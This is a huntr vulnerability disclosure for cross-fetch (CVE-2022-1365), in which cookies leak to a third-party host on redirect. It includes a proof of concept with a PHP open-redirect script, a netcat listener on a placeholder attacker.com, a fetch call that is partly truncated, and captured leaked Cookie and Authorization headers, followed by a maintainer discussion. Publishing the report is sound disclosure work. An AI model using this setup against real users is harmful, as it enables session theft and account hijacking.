huntr

Exposure of Private Personal Information to an Unauthorized Actor in lquixada/cross-fetch

0

✓ Valid Reported on Jan 6th 2022

BUG

Cookie header leaked to third party site and it allow to hijack victim account

SUMMURY

When fetching a remote url with Cookie if it get `Location` response header then it will follow that url and try to fetch that url with provided cookie . So cookie is leaked here to thirdparty.
Ex: you try to fetch `example.com` with cookie and if it get redirect url to `attacker.com` then it fetch that redirect url with provided cookie .
So, Cookie of `example.com` is leaked to `attacker.com` .
Cookie is standard way to authentication into webapp and you should not leak to other site .
All browser follow same-origin-policy so that when redirect happen browser does not send cookie of `example.com` to `attacker.com` .

FLOW

if you fetch http://mysite.com/redirect.php?url=http://attacker.com:8182/ then it will redirect to http://attacker.com:8182/ .
First setup a webserver and a netcat listner

http://mysite.com/redirect.php?url=http://attacker.com:8182/

```
//redirect.php
<?php
$url=$_GET["url"];
header("Location: $url");

/* Make sure that code below does not get executed when we
exit;
```

```
?>
```

netcat listner in http://attacker.com

```
nc -lnvp 8182
```

STEP TO RERPODUCE

run bellow curl command

```
import fetch from 'cross-fetch';
// Or just: import 'cross-fetch/polyfill';

(async () => {
  try {
    const res = await fetch('http://dasda.com@mysite.com/redirect.php?url=h

    if (res.status >= 400) {
      throw new Error("Bad response from server");
    }

      console.log(res);
    const user = await res.json();

    console.log(user);
  } catch (err) {
    console.error(err);
  }
})();
```

response received in attacker netcat

```
GET / HTTP/1.1
sdf: fdffff
Cookie: dsd=sfds
```

```
Authorization: adad
Accept: */*
User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)

Accept-Encoding: gzip,deflate
Connection: close
Host: localhost:8182
```

so, in this response cookie is leaked to thirdparty site attacker.com during redirect.
So, here i provided cookie for mysite.com but due to redirect it leaks to thirdparty site attacker.com

SUGGESTED FIX

If provided url domain and redirect url domain is same then you can only send cookie header to redirected url . But if the both domain not same then its a third party site which will be redirected, so you dont need to send Cookie header.

CVE
CVE-2022-1365
(Published)

Vulnerability Type
CWE-359: Exposure of Private Personal Information to an Unauthorized Actor

Severity
High (8.8)

Visibility
Public

Status
Fixed

Found by

ranjit-git
@ranjit-git
amateur

This report was seen 876 times.

We are processing your report and will contact the **lquixada/cross-fetch** team within 24 hours.
a year ago

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` a year ago

We have contacted a member of the **lquixada/cross-fetch** team and are waiting to hear back
8 months ago

We have sent a follow up to the **lquixada/cross-fetch** team. We will try again in 7 days.
7 months ago

Leonardo 7 months ago Maintainer

Hi, thanks for letting me know about this security breach. As you might know cross-fetch is just a proxy to node-fetch on Node environments or whatwg-fetch on browsers.

Since the issue seems to be happening on the Node side, the fix should be implemented on node-fetch. Digging deeper, it seems it has already debuted on version 2.6.7 of that lib. The PR is https://github.com/node-fetch/node-fetch/pull/1453 and it was backported from #1449. This last PR seems to be addressing the same issue outlined here in response to JamieSlome's issue on https://github.com/node-fetch/node-fetch/issues/1443.

cross-fetch 3.1.5 has already upgraded node-fetch to 2.6.7. So I feel this issue might be happening only old versions of the lib.

ranjit-git 7 months ago Researcher

@maintainer
This report submitted 3 months ago when it was vulnerable.
I was also the original reporter of node-fetch and they fixed the bug within few days.
But I see you recently upgraded to latest node-fetch and it fixed the issue.
Feel free to mark this report as valid and confirm the fix if you think so.

ranjit-git 7 months ago Researcher

Here is the report that I submiited to node-fetch.

Leonardo 7 months ago Maintainer

@ranjit-git I think we can go ahead and mark it as valid. Thanks for taking th
though. Really appreciate it!

Chat with us

Leonardo Quixada validated this vulnerability 7 months ago

ranjit-git has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Leonardo Quixada marked this as fixed in **3.1.5** with commit **a3b3a9** 7 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

> Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us